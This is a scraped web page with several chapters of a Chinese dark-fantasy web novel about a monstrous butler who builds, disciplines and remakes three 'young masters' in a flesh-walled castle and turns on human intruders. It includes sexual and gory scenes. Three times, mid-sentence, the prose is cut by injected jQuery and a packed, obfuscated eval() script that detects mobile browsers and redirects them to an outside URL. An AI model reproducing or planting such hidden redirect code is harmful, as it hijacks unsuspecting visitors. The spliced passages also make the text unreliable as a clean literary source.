$(''.inform'').remove(); $(''#content'').append('' >他们一现世,就是这般大小,你没有耐心等待他们长大。 你把人从被子里捞出来:“别闹。” 然后不等他反应,翻身上床,欺身上前,将他压在身下。 你不算温柔地别过他的头,故事书在你膝下,厚厚一本,你又将这本书扔下床。 二少爷的左脸贴在你掌心,他的脸颊受压迫,侧过头,无法看到你的脸。 “不行……”他断断续续道,“让我看着你,管家大人……” “不行。”你毫不留情地拒绝,“之前受不住,抬头看天花板都行,这次看地板不行吗?” 你不想再说废话了。 心情好时给他一点前情,让他身心愉悦,心情不好时,你爱怎么来就怎么来,管他如何。 他双臂抱住你的腰,将你往下压。 你的牙齿收了回去,不耐地“啧”一声,反手将他两只臂膀扯回来,按在枕头上。 “哼……”他吃痛出声。 不得不说二少爷也算敬业,就算痛,也还想着安慰你:“怎么了,今天……这么烦躁?” “轻点……”他眼角挤出泪水。 你抬起头,看着紧闭双眼的人:“眼睛睁开。” 二少爷的脸色迅速变白,眼睛也染成深金色。 他又要说些什么,你的食指抵在他的嘴唇上:“别说话,我现在不爱听。” 随后,褪下右手手套,塞进他嘴里。 被窝迅速变凉,没有热水的浸泡,你爱看的粉红色也没有出现。 你这一次,急急忙忙地就上去汲取了,也不管水是热是凉。 你离开他,抚平制服上的褶皱。 手套上沾了水渍,你将它放在柜子上,同时褪下另一只手套。 这一双,你不准备要了。 “对不起……”敏感的二少爷累得不轻,喘着气说。 他累什么? 全程躺着。 你以为他在说手套的事,不在意地说:“没事,我有很多双。” “不是,”他摇头,眉眼低垂,揪着被子上的蕾丝边,“是凉的,对不起……” 你不在意:“凉的热的我都接受,中午有点热,凉的挺不错。” 二少爷直起身,冷白的手附上你的脸。 你不喜欢这样的触碰,后退一步。 他却追上来,用大拇指蹭了蹭你的嘴角:“沾上了。” 你看清了他手指上的一抹鲜红。 “我很开心,因为管家大人来看我了。” 二少爷周身弥漫着满足感,他嘴角微弯,柔软的短发扫过他翘挺的鼻梁。 他有一头过锁骨的金发,用你送他的红发带松松垮垮地扎着。 和大少爷、小少爷的黑卷发不同,二少爷整个人色彩明亮到能把整间房照亮。 他是三兄弟中,最温良和善的一个。 也是最不像另外两个兄弟的一个。 你对你捏造的天使很满意。 莫名地,心情变好了。 或许是,能量又回来了吧。 二少爷被过度索取,已经瘫软在床上。 你撩起他额前的碎发,亲吻他的额头。 在他迷迷蒙蒙、昏昏欲睡的眼睛里,你看到了自己朦胧的身影。 “好好休息。” “你什么时候再来看我?”他能量透支,含糊不清地说,“热的?还是凉的?” 你覆住他的眼。 他睡着了。 好好午睡吧。 接下来,要去巡视了。 在城堡内部巡视。 你踏进城堡的墙壁之中,没有砖瓦石灰,只有血红粘腻的通道。 你摸上通道,沾上一手粘液。 晚上还要洗澡。 晚上事情真多。 8. 混乱 通道如同肠道,柔软而崎岖,褶皱纵横交错。你在通道里捡到了一只兔子玩偶。 小少爷偶尔确实会来这里玩。 可他又忘了,不能随便丢下武器。 一道黑影在肉壁间穿梭,身影隐隐绰绰,肉壁发出咕叽的黏腻声响。 你目不转睛,一刻也不停留。 “管家大人为什么不等我。”清脆的声音从你身后响起。 小少爷撕开墙壁的筋膜,浑身黏糊糊的,透明粘稠的液体垂成一缕,挂在他的卷毛上。 他拉住你的手,把手上鼻涕般的黏液蹭到你身上。 你猛地甩开手,将自己手上的液体蹭回他头上还算干净的地方。 你本就不喜欢这个地方,一周顶多巡视一次。 还在这里胡闹。 “触手呢?” 小少爷问出了和之前一样的问题。 “好久没见到触手了,”他撇了撇嘴,“好久没和触手玩了。” “撒谎。”你淡淡开口,继续往前巡查,顺手将怀里的兔子塞给他。 小少爷接住玩偶,紧紧抱在怀里。 真是的,玩偶又脏了,又要洗一遍。 他蔫蔫地跟在你身后,小皮鞋陷进肉壁,一步一个浅坑,紧紧贴着你。 “你可以在这里玩,只要你能待得久一点。” “哼,管家大人又在开玩笑,我在这里顶多待半天,就会被消化掉。” 你的触手小宠物,正是从这墙壁里分裂出来的。这里的少量液体具有治愈效果,大量液体却带有腐蚀性——这里,是消化道。 也正因柔软隐蔽,成为遭遇外部攻击时,最后一道防御与庇护。 三位少爷最多只能待一天就会被消化,而你能撑三天。这三天并非腐蚀你的时间,而是你的触手吞噬墙壁、与之融为一体的时间。 “那你就不要再丢掉你的兔子,我说过多少次了,怎么就是不听?” “我不听的话,会有惩罚吗?” “你很期待惩罚?” “嗯……”小少爷扭捏起来,不肯正面回答。 “又想玩角色扮演了?”你语气带着几分玩味。 “不是……我书都借给二哥哥了。” 说到书。 “你这本书是哪里来的?我不记得我给过你这个。” 小少爷摇了摇头:“当然不是管家大人给的,是第四位面的人给我的。” “又是第四位面。”你毫不掩饰对第四位面的厌恶。 小少爷很久没感受过你骤然变冷的气息,你向来情绪稳定,他顿了半秒,睁大眼睛,惶恐地问:“怎么了?是我做错什么了吗?” “没什么。”你不再嫌弃小少爷身上的黏液,推着他的背往前走,“是我的错,我不该带你去第四位面开辟能量池。” “那我把这本书还回去?” 你没有一棍子打死孩子的爱好,而是让他自己选择:“你喜欢这本书吗?” 小少爷不觉得这本书有什么奇怪,反倒觉得上面的故事很有趣。 “喜欢。”他轻轻点头,眼神里带着渴望。 “如果你答应我,不再丢掉你的玩偶,我就让你继续看。” 小少爷抱紧怀里的玩偶,犹豫一瞬,还是答应下来:“好,我到哪里都带着兔子。” 小少爷的兔子,是第九位面为少爷们强化能力后,你亲自从城堡地基中挑选出来,特意捏成兔子模样的。 结果…… 小少爷似乎并不怎么喜欢,总是故意把它丢掉。 “晚上是哥哥去吧?”小少爷牵着你的手,幸好你戴了手套,不然这黏糊糊的样子,你绝不会让他碰。 “这么不想去?” “我不喜欢吃人类的食物,难吃死了。”小少爷做出一副要呕吐的模样。 “端庄一点。”你不喜欢他这副样子,不好看,也破坏了娇俏精灵的美感,“这个动作也是跟第四位面的人学的?不准再有下次。” 少爷们是你亲手造出来的,本就该像花一样好看,像器物一样好用,不准擅自破坏人设。 小少爷闭上嘴,绷着小脸,乖乖跟在你身后。 你故意问:“你哥哥就喜欢人类的食物?” “管家大人不知道吗?”小少爷有些奇怪,“哥哥他有时候会去厨房吃东西。” “你确定那是人类的食物?” “不确定,但看起来很像。” 这件事,你是真的不知道。 你向来对少爷们放任自由,自认是个优秀的管家。 还记得吗?管家守则第一条。 大少爷,真的要违规了。 “你怎么知道的?你去厨房做什么?” “去做眼珠子啊,还能干嘛,平日里也没什么好玩的。” 也对,他们被限制在城堡里,只有执行任务时才能离开自己的领地。 通道里留有几道裂口,是上一批客人留下的。上一批客人顺利杀到城堡内部,却因情报不足,被城堡反杀。 黏液正有条不紊地自动修复,城堡依旧日复一日地运转。 “我听到哥哥的声音了。” 你也听到了那阵嘈杂而尖锐的叫喊。 原来,已经到大少爷所在的楼层了。 大少爷正在自己的房间里和触手嬉闹,你一直能感受到触手传来的异样快感。 依旧不对劲。触手从来没有这么快活过。 你不相信是大少爷手法高超,把触手伺候得舒服。 你淡淡道:“走吧,别理他。” 隔着肉壁,人类的声响与大少爷高昂的叫声混在一起。 人类已经踏上五楼了。 “这里禁止通行。”不知是谁说道。 “里面有声音,算了,换个地方看看,我们去六楼。” 你继续往前走,拐过弯道,肉壁的色泽开始变化,原本淡粉的肉质此刻转为深红,透明黏液也变成血红色的浆液,顺着肉壁缓缓流淌,汇入一处坑洼的□□,积成一小洼水潭。 小少爷熟练地将手里的兔子嵌进肉里,兔子被墙壁缓缓吸收。 这算是给武器填充能量,顺便打磨抛光。 这里属于第二层肉壁,几乎没有裂口。除了一百二十年前的那批人,至今没人能突破到第二层。 你莫名有些不安,抬手按在肉壁上,魔力外泄,化作纤细密集的丝线,一缕缕钻进壁内。 四周一片死寂,只有血水滴滴答答落进水洼的声音。 小少爷忽然呼吸急促,小手从你掌心滑落,跪倒在地。 “还是太弱了。”你说。 “对……对不起……” 你望了一眼还没走完的路,虚虚放出魔力探查一番。 你抱起虚弱发抖的小少爷,任由他身上的黏液蹭在自己身上,强压下不适:“走,回去。” “记住,下次别再擅自钻进薄膜里。” “嗯……” 你对着肉壁踹了一脚,墙壁“噗”地一声,把兔子吐回小少爷怀里。 肉壁的出口,就在你的房间里。 你把小少爷扔进浴室:“好好洗干净,别忘了把兔子也洗了。” “管家大人,”少爷抵着玻璃拉门,虚弱地开口,“要不要和我一起洗。” 你把人推进去,一把拉上了门。 小孩子不要纵欲过度。 不然就会变成大少爷那副样子。 你环顾四周。梳妆台前的椅子被人移动过,台上的首饰也少了两件。你房间里本就没什么东西,他们应该搜不出什么。 以那些人的能力,大概率发现不了这面墙壁的秘密。 但是…… 你看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343129|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了墙上的划痕。 划痕…… 什么东西,能伤到这面墙? 是四号的那件武器? 桑齐说过,那东西不是普通改造枪,弹药是使用者自身的魔力,伤害更高,速度更快。 按理说,现实世界的强制器械不能带入位面,位面会自动识别并将武器排斥出去。 只有气息相近的位面武器才能被使用。 也就是说,那把枪,要么是被诡异力量改造过,要么,本身就是位面武器。 你更倾向于前者。 枪造成的伤害应该是孔洞,而不是划痕。 所以,不是四号。 你也没了洗澡的心思,更不想等到晚上。 你直奔五楼。 大少爷瘫坐在地上,触手在空中肆意挥舞,一副快活至极的模样。 你收回了触手。 房间里那股气味更加浓烈了。 你可以肯定,创造大少爷的时候,你没有加过任何香精。 你将地上的大少爷拽起来,扼住他的脖颈,将他整个人提起。 “又吃了?” 大少爷被截断空气,脸憋得通红:“我……我吃什么了?” 你冷哼一声:“你自己心里清楚。我或许不知道那是什么,但你私通人类,已是板上钉钉。” “谁允许你跑出去的?” “你和十三号是怎么认识的?” “你跑到其他位面去了?” “窥探的能力,还能让你穿梭时空?我怎么不知道!” 你的声音从原本的醇厚利落,变成低沉粗犷的低吼。你身后五根触手疯狂舞动,不断膨胀,将整个房间撑满,投下的阴影如同囚笼,要将快要窒息的大少爷死死锁住。 “说!” 大少爷拼命拍打你的手臂。 你将他放下,大少爷跌落在地毯上。 “管家大人……咳,”他用力咳嗽两声,用嘶哑的声音说,“管家大人好狼狈,我第一次见你这么不体面。” 他指的是你身上沾着的黏液与血水。 你无视他的胡搅蛮缠:“回答我的问题。” “这都怪管家大人。”他反倒倒打一耙。 “明明是你偏心,只喜欢我的两个弟弟。我们三个明明是一起被创造出来的,我的性格也是你赋予的,为什么不重视我?为什么要用轻蔑的眼光看我?为什么要践踏我?!” “你明明就不爱我!还大言不惭地说,你就喜欢我这样的放荡。” “谁信?!” 他靠着墙壁,痴痴地望着你:“可我……还真的信了……” 他咧开嘴,脸上的血色褪去,对着你笑。 他本就生得好看,只要不发疯,正常笑起来,格外漂亮。 你心累。 真的。 你耐着性子蹲下身,掐住他的下巴,直视他的眼睛,褪下半湿的手套,温柔地擦去他嘴角的血迹。 “我一直都很爱你。所以,回答我的问题。” 说完,又将他额前的碎发捋到脑后,“如果不给我解释清楚……” “我就把你丢进地基,”你挤出一抹温和可亲的笑,“换掉。” 打一巴掌,再给一颗甜枣,而不是降龙十八掌。 这是你最后的底线。 不听话,随时可以替换。 人类不该用现实世界那套情欲,觊觎你家的少爷。 第四位面成功了,就以为第五位面也会一样? 真是痴人说梦。 大少爷把你放在他头上的手拉到脸颊边,一下又一下地蹭着:“我说……” 他哭着开口:“管家大人……我什么都告诉你……” 你也该反思,为什么仅仅一天,人类就能接触到大少爷。 这,或许根本不是一天的问题。 9. 毒 你活了这么多年,如果连这么一点异常都察觉不出来,那你早就死了,或者被其他人顶替。 你把管家外套脱掉,扔在地上,露出里面的白衬衫,粘液渗透外套,沾到了衬衫上,手臂处,锁骨处,都黏答答的。 你将袖口折三折,往上撸,又把领带解开扔掉,扭开衬衫最上方的两颗纽扣,向外拨弄,微微露出锁骨透气。 你的身材,既高挑,又颇有骨感,长长一条,秀气又干练。 把椅子拉到大少爷面前,坐上,翘起二郎腿,靠着椅背,抱着手,等待面前人的赎罪。 大少爷坐在原处,曲起一条腿,手搭在腿上,低着头,看不清神色。 你开口:“好了,别耍帅了。” “我没吃人类的食物,你知道的,我吃了要死。” 他拿出一个黑漆漆的团子。 “还剩最后一个,十三号给我了一盒。” 你接过黑丸:“一共几个?” “五个。” “你这么点时间吃了四个。”你把丸子捏成碎渣,“你真是饿了。” “不是……”大少爷摇头,弱弱开口,“触手也吃了一颗。” 你挑眉,舌尖顶着右侧的腮帮,指尖无意识碾磨碎屑。 丸子发出更浓烈的,刺鼻的怪味。 这的确不是人类的食物,因为掺进去了魔力,很明显,这是一个可食用的法器。 “十三号说,这个东西吃下后,会魅力大增,你会更爱我。” “我起先觉得我成功了,因为你把触手留给我了,后来我才发觉,你是嫌弃我这副样子。” 他捂住脸,颓丧地说:“我弟弟都看不起我。” 你无视他自作多情的脆弱,抓到了漏洞。 按大少爷的脑子,不可能透过你的行为习惯看出你嫌弃他的事。 还有,十三号怎么知道你和少爷的关系。 你拍掉手上的碎渣:“十三号刚才来你房间了。” “嗯……” “她是怎么找到你的?什么时候找到你的?或者说,你得到了什么提示,然后你去找她了。” 大少爷不聪明,他也不厉害,更没胆子踏出他既定的领地。 “味道。” “我当时在五楼的楼梯上,闻到了药丸的味道,很上头,莫名其妙地,我就很喜欢,然后我把它捡起来,下一秒……” “我都没有察觉,当时一直连接着画,但我也没窥探到……” “她就站在我身后。” “莫名其妙地,我大脑一片混沌,直到刚才,我才清醒。” 二号的能力。 十三号还获取了二号的能力。 药丸,隐秘,撷取。 十三号背后有人…… “我的画作没有踏破位面的能力。”大少爷小心翼翼地抬起头,“管家大人您没有赋予我这个能力,我只能在城堡的空间内穿梭。” “其他位面……” 他带了点羡慕,幽怨地看着你说:“我没有去过其他位面,管家大人只带我小弟弟去过。” 行,没去过就好,现在最新一批的三个少爷的能力只有桑齐和你知道。 有其他位面的人渗透到了你这里,他们想打探信息。 第四位面的嫌疑最大。 还有这个药丸,等会儿问一下桑齐。 你捡起一点渣渣,用魔力包裹,飘在空中。 等等,桑齐…… 他是最会做武器的人,你怎么才联想到呢? 你顿住脚步。 “怎么了?”大少爷看着你的背影,不解地说。 “您还在生气吗?” “不。” 你早就情绪稳定了。 你转过身,摸他的脸,又沿着身体纹路向下,拍他的胸。 “我喜欢你原来的样子,”你吐出低语,“那种桀骜不驯,傲娇又嘴硬的样子,有时候还带点病态和风情,你知道吗?” 他小鸡啄米一样点头。 你补充道:“还有,轻微受虐,轻微……” 你伸出手,食指拇指一捏,比出一个范围。 “这种程度,我喜欢。” “保持好人设,要不忘初心啊。” 桑齐的确是最厉害的。 你现在才反应过来,这一批少爷,貌似拥有了自己的人格。 懂得叛逆,懂得反抗了。 你之前一直以为是为了讨好你而表现出来的,结果是真的想造反啊。 你眼里不带情绪,现在说说他就罢了,没有以后了。 你回到房间,来到全身镜前。 呼唤桑齐,镜子表面晕出水波纹,一个半裸的男人显现。 “桑齐,这种东西是什么?”你把渣子投送过去。 桑齐盖着薄毯,慵懒地躺在太阳椅上,还带着墨镜,真不知道他怎么想的,没阳光还戴着墨镜装。 “好烦啊,管小姐,你最近怎么总是找我啊?看来这次来的人很厉害啊。” “还有,”他拿着酒杯,小指一指,“我听见咯,你说我装。” “回答我,这是什么?” 他咂摸嘴,嘴角向下撇:“管小姐真心急。” 桑齐只看一眼,就下了定论:“这玩意是毒,人类的毒加上魔力改装的,跟那把枪一模一样。” “吃了之后有什么副作用吗?” “怎么,你家少爷吃了?哪个少爷啊?” 他等了半天,也没见你回复他。 “怎么,就咱们俩的交情,你们家三个少爷还是我帮你一起赋能呢,这都不能告诉。” 他特地掀开墨镜,朝你翻白眼。 你得到了答案,关闭交流通道。 毒…… 脏东西。 触手和大少爷都脏了。 果然不能留,都拿回去回炉重造。 如果是普通媚药,大少爷就还能再蹦跶两下,但偏偏是毒。 你再次回到五楼。 大少爷惊诧地说:“这么快就回来了。” 你抓起他的手臂,撕裂大少爷房间的墙壁。 “啊?这这这……这能进?” 在他语无伦次的惊讶中,你拉着他再次穿进墙壁里。 你身上的粘液原本都干成一块块的,这次又沾染上了。 幸亏没提前洗澡。 大少爷不喜欢墙壁内部,总是被脚下的肉褶绊住脚,跌跌撞撞地跟上你的脚步。 “咱们去哪?” “地基。” “啥?” 你大步向前走,肉壁随你心意而动,场景不断转换,有时候是粉红色,有时候是血红色,有时候是黑色。 你将整条触手释放。 “啪叽” 触手被扔在地上,不刻意放大的整条触手像章鱼一样,头又圆又小,剩下的都是手。 肉壁将触手吞进去。 最后一次场景转换,你们两人下坠,下坠,下方是一片黑暗。 只坠落了两秒,迎来了一丝光亮。 是水。 薄薄一片水,不曾没过鞋底,每走一步,都会泛起一片涟漪。 但踩上去又不像水,坚硬如大理石,鞋子在上走动,“啪嗒啪嗒”声在整个空间内回响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343130|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大少爷只知道创造他们的地方是地基,但从没来过这里,他好奇又忐忑地四处张望:“地基,这就是地基……” “管家大人……”他胆怯地停下脚步,声音颤抖,“您要消除我吗?” “怎么可能。”你立马否定。 “我舍不得消除你,只不过,你身体里有毒,我不喜欢毒,所以……” “祛毒?真的是……祛毒吗?” 你笑道,眼里的温柔要溢出来了:“当然,你知道我爱你,不会伤害你。” 你凑近他,猛地一推。 水面荡开。 “噌,噌,噌——” 地面连开三道门。 “啊——” 大少爷跌进无尽深渊。 三道门逐一合上。 重铸的过程不痛苦,很快就好了。 你屏蔽地下大少爷痛苦的喊叫。 果不其然,只一会儿,空间再次恢复平静。 你闭上眼睛,紧攥双手,手臂青筋暴起。 你的肌肉线条相当流畅,你能爆发出一拳震碎墙壁的力量,而现在,你在控制地下的土一拳一拳捶碎大少爷的□□。 地下红白一片,血肉很快融进土里。 你抬起双手,照着最初大少爷的样子,重新捏造,再次赋能。 第一次赋能时,因为魔力被第四位面分走,桑齐在你身边协助,这一次,你独自完成。 必须得是,最原始的,最喜欢的,大少爷的样子。 你真没欺骗他。 你的确爱他。 这一轮第一个被捏造的小孩,不可能不爱。 只是爱得没这么浓而已。 你成功和新触手连接,肉壁把触手吐出来,它现在在你的房间里蠕动。 大少爷这边,就差最后一步,装血。 他的血主要是为触手服务,让触手恢复治愈能力。 而现在…… 你以净化之力为大少爷的血赋能。 净化之力,第三位面易主时,诡异送你的,只有一点点,存放在地基中好几十年了,终于被用上了。 三道门打开。 一个赤裸的人被送上来。 他有一头及耳卷发,红色的丹凤眼下点缀了一颗小痣,妖冶,精致,美艳。 他来到你面前,牵起你的手,俯下一吻。 “管家大人。” 这次,没有掺入桑齐的魔力,大少爷就不会被画龙点睛,产生点不该有的想法。 你是大家的,不是个人独享的,大少爷之前的思想,还是太激进了。 你细细临摹他的眉眼,他追着你的手亲吻。 最后抱住你,在你的脖颈处找了个最舒服的位置,蹭啊蹭。 你身上的粘液都转移到他身上了。 粘液在他身体上星星点缀,又随着他撒娇的动作下滑,掉落。 大少爷不能这样。 带他出去之前,起码给件衣服套住。 他察觉到你的想法。 “不用。”他又捉住你的手,亲吻手心,微微舔舐。 “就这样吧……” 他的眼尾微微泛红,愉悦地挑起:“我喜欢管家大人在我身上留下的痕迹。” 你抬起他的头,在他缱绻迷人的视线里抵住他的嘴唇。 “不行哦,你晚上还要去招待客人呐……” “我不舍得你这副样子被其他人看到。” 他又蹭了上来…… “晚上的事,晚上再说……” 他的声音淹没在你们两人的唇齿间:“我会准时到达餐桌前的。” 10. 发起攻击 你骤然睁开眼,侧过头,躲过他凑上来的唇。 有人将你卧室里的那道伤口扒开了。 “大人……” 大少爷哼唧着追上来,蹭着你的脖颈,黑色卷发不断扫过你的锁骨,可你现在没心情理会。 你扯住他的头发,往后一拉。 “嗯哼……”大少爷一声闷哼,不住地喘息。 你把放在下方的手收回来,在他身上蹭了蹭。 没有触手,就是要劳累点,亲自动手。 “好了,我们该上去了。” 你看着赤裸健硕的青年,也没打算给他找衣服。 你的卧室是唯一的出口,你不能让别人看见你亲手打造的艺术品。 魔力外泄,衣袍无风自动。 “砰!” 城堡的窗户骤然关闭,发出巨响。 “什么鬼?!我还打算翻窗去花园看看呢!” “不是吧,你们一开始就没想出去吗?” “你什么意思,就指望我们这一组,是吗?” “还不是因为那些花太诡异,我们才没敢过去!” “别跟他们解释,解释不通的。那个女的就是蠢货,又弱又笨,就会躲在别人身后刷存在感。” “你说谁呢!” 四号大概是想证明自己,一个劲地推着六楼最中间那扇门。 五号开口:“六楼这扇门,也打不开。” 无论她怎么用力,门都纹丝不动。 四号制止了她想要暴力破门的举动:“算了,我们去别的地方,其他人说不定能破开。” “哼,谁知道他们会不会独吞情报。” 剩下的八个人分成三组,彼此提防、各自行动,却又离不开对方的情报,只得强忍着不适达成临时合作。 五号无奈地耸了耸肩:“管家的房间倒是能打开,可里面什么都没有。” 四号不动声色地瞥了一眼十三号,她看见十三号正用指甲在墙上划了一道。 等她走过去查看时,墙面却完好无损。 十三号解释:“我刚才绊了一下,扶墙的时候不小心刮出了痕迹。” 这话,也就蠢货才会信。 你早就注意到,大多数人会莫名其妙、毫无意识地忽略十三号。正常人往前走时,总会下意识看一眼迎面走来的人,形成一段极短暂的记忆。 可十三号,是个例外。 因为八号那把妖刀,你在观察八号时,察觉到了不对劲: 八号明明朝着十三号的方向走去,眼神却涣散空洞,等与十三号擦肩而过之后,才恢复清明。 十三号的能力,你大概猜出来了,要么是和二号类似的精神干扰,要么就是能隐匿自身。 为保险起见,你打算杀掉所有人。 你现在也不想再追查幕后黑手,清空场地、闭门不出,才是最稳妥的做法,哪怕违反“位面诡异不得轻易出手”的规则。 可你一旦动手,其余九人必定会找各种借口联手制衡你。 时间过得太久,诡异换了一茬又一茬,你早已记不清,究竟是哪个诡异定下了这些位面规则。 你们这群人,来到这个星球本就只是为了寻乐子。可到头来,似乎只有你还坚守着初心,一直玩弄着那些人类,从没有让他们赢过,更没有让他们从你手里赚走一分钱。 哦,这话不对,曾经有一次,在城堡没有完善功能之前,他们一路杀到城堡内部,夺走了地基中的你的血。 钱就这样被他们赚走了。 不过你心眼小,一路追到现实世界,又把那笔钱抢了回来。 虽然事后,你也接受了另外九个诡异的惩罚…… 给大少爷的任务很简单:试探性出手,尽量摸清那些人的底细。若是他不敌,你便会亲自出手,正好也试试大少爷这具新获得的躯体。 按照原本的设定,你此刻不该出现在走廊里。 按照人设,管家只在早、中、晚三餐时出来服侍。 什么狗屁人设,你现在有点后悔,当初给自己定下这种规矩。 “管家怎么会出来?” “不知道,资料里没说她这个点会出来啊。” “资料也不能全信吧。上面说管家是无害NPC,可我的第六感告诉我,她绝不是普通人。” 你听出这是五号的声音,弱小,却又聒噪。 你有些好奇她的能力是什么,她从来没有展露过,一路上就只是跟在四号身后。而四号脾气也算好,居然一直由着她跟着。 你在他们面前站定,静静等着所有人聚集过来。 你不动,他们也不敢轻举妄动。 就这么沉默着,两方对峙。 人越来越多,很好,八个全都到齐了。 你可真有耐心,你在心里这样夸自己。 你面无表情地开口:“现在,所有人,去大厅。” 你心肠还算不错,还特意让他们集中,给了他们抱团的机会。 但你很清楚,他们根本不会真正合作,更谈不上什么团队意识。 “去大厅干什么?” “还没到吃饭的时间吧?” “是不是你们几个碰了什么不该碰的东西?” “怎么可能,别胡说八道。” 四号依旧感知不到十三号的气息,必须刻意去寻找,才能察觉到她的存在。 果不其然,十三号正躲在八号身后。 八号的手腕间,一把刀已微微出鞘。 十三号双手插兜,镜片反射出淡绿色的光,看来她戴的还是防蓝光眼镜。 镜片若是碎了,碎片能割开人类的喉咙吗? 你忽然很想试一试。 四号又一次当了出头鸟:“我们为什么要去大厅?现在还没到晚饭时间。” 什么时间不时间,你又没告诉他们具体时辰,你想怎样便怎样。 你随口道:“少爷要见你们。” 你率先下楼,扶着楼梯扶手,自上而下,仔细打量被这群人翻乱的城堡。 花瓶被挪动了位置,收藏柜被打开,二三楼的每一间房门都大敞着,就连楼梯拐角处的绿萝,都掉了好几片叶子。 一群没礼貌的家伙。 八人按照中午的次序坐好,太阳还悬在半空,挂在树上。 八号示意六号看向窗外。 六号短促地惊呼一声,成功将众人的视线从你身上引到了外面。 巨大的彩绘玻璃窗中央,有一块透明玻璃,可以看见城堡外一棵异常高大的树。 人类,应该从未见过这种树。 那是骷髅树。 人类最长的骨头是股骨,也就是大腿骨;最坚硬的骨头,则是颅骨中的颞骨,就在耳朵附近。 最长的骨头,城堡不愿吞噬;最硬的骨头,城堡吞下后也难以消化。于是它会将它们一个个吐出来,积少成多、堆积如山,久而久之,便长成了这棵骷髅树。 而你,又是个极度爱美之人。你觉得骷髅树只是一片惨白,有些骨头上还挂着筋膜与碎肉,白中带红,实在难看。 于是,你在树顶安置了一颗人工太阳。 定时升起、定时落下,十分方便。 六号喃喃自语:“为什么我们之前没有看见?” 还能为什么,只是你不想让他们看见罢了。 你真是个心地善良的人,在他们生命消逝前的最后时刻,还特意带他们欣赏城堡的“5A级景点”。 你原本站在八人身后,可架不住他们频频回头打量,便移步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343131|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了长桌前方。 “啪、啪。” 你轻拍两下手,声音清脆。 你忽然想起,自己忘记戴手套了。 “上菜。” 端上来的菜品格外丰盛,全是现实中难得一见的珍馐美味。 一具具假人如流水般将菜呈上餐桌,随后在大厅角落列队站好。 越来越多,一层又一层,假人渐渐将这群人团团围住。 没人敢动。 四号向你投来一道凌厉的目光。 “砰!” 她突然开枪! 你侧身避开,子弹擦过你的头颅,打断几缕发丝,射中了你身后的花瓶,花瓶应声碎裂。 “禅意!”五号失声惊呼。 四号举枪,依旧对准你:“你们都瞎了吗?这种时候还被人牵着鼻子走,就等着等死吧!” “可是……少爷还没来……” 四号深深地看了五号一眼,道:“你是最蠢的一个。” 其他人被四号的举动煽动,五号浑身发抖,难以置信地瘫坐在地上。看她骤然收缩的瞳孔,眼底全是四号的身影,便知道她用情不浅。 十三号、六号、八号三人坐在座位上,稳如泰山。 你不慌不忙,甚至没有挪动半步。 十号擅长纯粹的魔力攻击,他大概是在场人类里魔力储备最充足的一个。 一颗魔力球直砸向你的面门,球后紧跟着四号的子弹。 十五号从喉咙里抽出一把镰刀,手腕一振,紧握镰柄的右手肌肉瞬间膨胀、青筋暴起。他借着惯性猛地挥转镰刀,压低身形,如旋风一般朝你冲来。 十二号躲在暗处,脚下阵图展开,一出手便是三道法阵,为四号、十号、十五号增幅赋能。 “轰!” 大厅轰然炸裂,余波将厅内陈设尽数掀飞,噼里啪啦一阵脆响,玻璃、瓷器碎了一地,那些空椅子更是直接被震飞到三楼。 “人呢?!” 四人背靠背,在一片废墟中慌乱四顾,冷汗滴落在地板上,顺着缝隙渗了下去。 “在哪里?” “找不到了……” “我就说这个管家不是什么好东西,还说不会骗我。” 四号咽了口唾沫,耳上的月亮耳钉在恒定的阳光下微微闪烁。 八号气定神闲地用刀割下一片牛肉,优雅地叉起送入口中:“管家只是说不会骗你罢了,我倒是想起来了。” “是啊……她只是说不会骗你而已,禅意啊……”六号附和道。 “管家为什么这么偏护你?她在你身上停留的时间最多,每次跟我们说话,也几乎都是对着你讲。” 八号阴恻恻地看向摆出防御姿态的四号。 “禅意……”八号放下刀叉,“你该不会,从一开始就是隐藏在我们之中的诡异吧?这种事,以前又不是没发生过。” 四号没有解释,只冷冷丢下一句:“蠢笨如猪。” 八号咬牙切齿,从牙缝里挤出一声:“切……” “你从进入这个位面开始,就一直带着我们走,你怎么会知道这么多?” 四号将手覆在黑色枪口上,为枪械充能:“你死了,自然就知道了……” “砰!” 子弹擦过八号的发丝,击中了他身后的假人。 假人的头颅被打爆,脚步却依旧没有停下。 八号冷汗滴落,妖刀从袖口滑落,他紧握刀柄,黑色的火焰覆盖其上。 在众人警惕的目光中,那具假人缓步上前,为八号倒了一杯红酒。 皮鞋踩在地面,脚步声由远及近。 一个衣着华丽、容貌精致的男人,走到餐桌前,矜持地落座。 “你们好,我的客人们。” 11. 战斗 气氛凝滞。 “这是……放大版的少爷?” “一天不见……不,半天不见,长得也太快了吧?” “是同一个人吗?” 